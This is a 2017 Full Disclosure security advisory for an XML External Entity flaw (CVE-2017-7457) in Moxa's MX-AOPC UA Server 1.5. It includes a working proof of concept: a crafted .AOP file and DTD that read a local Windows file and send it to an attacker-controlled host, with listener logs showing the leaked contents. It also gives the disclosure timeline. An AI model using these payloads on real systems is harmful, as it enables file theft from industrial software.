full-disclosure - [FD] Moxa MX AOPC-Server v1.5 XML External Entity

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Message-ID: <CAFD2FDNAdar=v2XJPogux=OSLQas4X0CCCReR04OmyJhrn+TxQ@mail.gmail.com>
Date: Sun, 9 Apr 2017 21:39:21 -0400
From: hyp3rlinx <apparitionsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Moxa MX AOPC-Server v1.5 XML External Entity

[+] Credits: John Page AKA HYP3RLINX
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/MOXA-MX-AOPC-SERVER-v1.5-XML-EXTERNAL-ENTITY.txt
[+] ISR: ApparitionSec

Vendor:
============
www.moxa.com

Product:
=======================
MX-AOPC UA SERVER - 1.5

Moxa's MX-AOPC UA Suite is the first OPC UA server for industrial
automation supporting both push and pull communication.

Vulnerability Type:
==============================
XML External Entity Injection

CVE Reference:
==============
CVE-2017-7457

Security Issue:
================
XML External Entity via ".AOP" files used by MX-AOPC Server result in
remote file disclosure. If local user opens
a specially crafted malicious MX-AOPC Server file type.

Exploit/POC:
=============
run MX-AOPC UA Server / Runtime / Start Server Runtime Service

a) ATTACKER SERVER LISTENER we will access Windows msfmap.ini as proof of
concept
python -m SimpleHTTPServer 8080

"Evil.AOP" file

<?xml version="1.0"?>
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "c:\Windows\msdfmap.ini">
<!ENTITY % dtd SYSTEM "http://ATTACKER-IP:8080/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

b) Evil "payload.dtd" file host on ATTACKER SERVER

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER-IP:8080?%file;'>">
%all;

e.g.

python -m SimpleHTTPServer 8080

Serving HTTP on 0.0.0.0 port 8080 ...

VICTIM-IP - - [02/Mar/2017 10:06:00] "GET /payload.dtd HTTP/1.1" 200 -
VICTIM-IP - - [02/Mar/2017 10:06:00] "GET
/?;[connect%20name]%20will%20modify%20the%20connection%20if%20ADC.connect="name";[connect%20default]%20will%20modify%20the%20connection%20if%20name%20is%20not%20found;[sql%20name]%20will%20modify%20the%20Sql%20if%20ADC.sql="name(args)";[sql%20default]%20will%20modify%20the%20Sql%20if%20name%20is%20not%20found;Override%20strings:%20Connect,%20UserId,%20Password,%20Sql.;Only%20the%20Sql%20strings%20support%20parameters%20using%20"?";The%20override%20strings%20must%20not%20equal%20""%20or%20they%20are%20ignored;A%20Sql%20entry%20must%20exist%20in%20each%20sql%20section%20or%20the%20section%20is%20ignored;An%20Access%20entry%20must%20exist%20in%20each%20connect%20section%20or%20the%20section%20is%20ignored;Access=NoAccess;Access=ReadOnly;Access=ReadWrite;[userlist%20name]%20allows%20specific%20users%20to%20have%20special%20access;The%20Access%20is%20computed%20as%20follows:;%20%20(1)%20First%20take%20the%20access%20of%20the%20connect%20section.;%20%20(2)%20If%20a%20user%20entry%20is%20fo
 und,%20it%20will%20override.[connect%20default];If%20we%20want%20to%20disable%20unknown%20connect%20values,%20we%20set%20Access%20to%20NoAccessAccess=NoAccess[sql%20default];If%20we%20want%20to%20disable%20unknown%20sql%20values,%20we%20set%20Sql%20to%20an%20invalid%20query.Sql="%20"[connect%20CustomerDatabase]Access=ReadWriteConnect="DSN=AdvWorks"[sql%20CustomerById]Sql="SELECT%20*%20FROM%20Customers%20WHERE%20CustomerID%20=%20?"[connect%20AuthorDatabase]Access=ReadOnlyConnect="DSN=MyLibraryInfo;UID=MyUserID;PWD=MyPassword"[userlist%20AuthorDatabase]Administrator=ReadWrite[sql%20AuthorById]Sql="SELECT%20*%20FROM%20Authors%20WHERE%20au_id%20=%20?"
HTTP/1.1" 200 -

Network Access:
===============
Remote

Severity:
=========
High

Disclosure Timeline:
==========================================================
Vendor Notification:  March 5, 2017
Vendor confirms vulnerability : March 21, 2017
Vendor "updated firmware April 7, 2017" : March 29, 2017
April 9, 2017 : Public Disclosure

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

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